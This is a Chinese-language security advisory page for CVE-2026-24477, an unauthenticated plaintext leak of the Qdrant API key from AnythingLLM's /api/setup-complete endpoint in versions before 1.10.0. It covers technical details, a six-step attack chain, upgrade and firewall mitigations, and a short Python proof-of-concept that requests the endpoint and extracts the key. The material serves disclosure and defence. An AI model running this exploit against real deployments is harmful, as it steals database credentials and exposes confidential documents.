IPBUF安全漏洞报告
English
CVE-2026-24477 CVSS 7.5 高危

CVE-2026-24477: AnythingLLM QdrantApiKey明文泄露漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-24477
漏洞类型
敏感信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AnythingLLM (Mintplex-Labs)

相关标签

敏感信息泄露信息泄露AnythingLLMQdrantRAG向量数据库API密钥泄露CVE-2026-24477

漏洞概述

CVE-2026-24477是Mintplex-Labs开发的AnythingLLM应用中的一个高危信息泄露漏洞。AnythingLLM是一款将文档内容转换为上下文向量的应用,供大语言模型(LLM)在聊天时进行检索增强生成(RAG)。该漏洞影响1.10.0之前的所有版本,当AnythingLLM配置使用Qdrant作为向量数据库并启用API密钥认证时,系统会在/api/setup-complete接口中以明文形式返回QdrantApiKey。由于该接口无需认证即可访问,攻击者可以轻易获取Qdrant向量数据库的完全访问凭证。Qdrant数据库通常存储AnythingLLM的核心知识库和向量化后的文档内容,攻击成功后可导致机密文档泄露、语义搜索功能被完全控制等严重后果。

技术细节

漏洞根源在于AnythingLLM的/api/setup-complete接口未对QdrantApiKey进行脱敏处理。当应用配置使用Qdrant作为向量数据库时,API密钥被存储在配置中,但在返回设置完成状态时,该密钥以明文形式出现在响应JSON中。由于该接口不需要任何认证(PR:N),任何能够访问应用的未授权用户都可以通过发送HTTP GET请求获取完整的Qdrant访问凭证。攻击者获取QdrantApiKey后,可直接使用Qdrant客户端连接数据库,执行读写操作,窃取所有已索引的文档向量和原始内容,甚至可以修改或删除知识库数据,影响AnythingLLM的RAG功能正常运行。漏洞利用复杂度低(AC:L),攻击门槛极低。

攻击链分析

STEP 1
步骤1
攻击者发现目标部署的AnythingLLM应用(版本<1.10.0)配置使用Qdrant向量数据库
STEP 2
步骤2
攻击者构造HTTP GET请求访问/api/setup-complete端点,无需任何认证
STEP 3
步骤3
服务器返回JSON响应,其中包含明文的QdrantApiKey
STEP 4
步骤4
攻击者提取QdrantApiKey,使用Qdrant客户端或API工具连接目标Qdrant实例
STEP 5
步骤5
攻击者获取Qdrant数据库的完全读写权限,窃取所有已索引的文档向量和原始内容
STEP 6
步骤6
攻击者可进一步修改或删除知识库数据,导致AnythingLLM的RAG功能失效或被恶意操控

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-24477 PoC - AnythingLLM QdrantApiKey Leakage # Target: AnythingLLM < 1.10.0 with Qdrant vector database configured target_url = "http://target:3001/api/setup-complete" try: response = requests.get(target_url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for QdrantApiKey in response if 'qdrantApiKey' in str(data): print("\n[!] VULNERABLE: QdrantApiKey exposed in response!") # Extract the key if present if isinstance(data, dict): for key, value in data.items(): if 'qdrant' in str(key).lower() and 'key' in str(key).lower(): print(f"[+] Found: {key} = {value}") else: print("[-] QdrantApiKey not found in response (possibly patched)") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

影响范围

AnythingLLM < 1.10.0 (when using Qdrant with API key)

防御指南

临时缓解措施
立即将AnythingLLM升级到1.10.0版本;在升级前,可通过配置防火墙规则限制对/api/setup-complete端点的访问,或在Qdrant端实施额外的访问控制策略以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表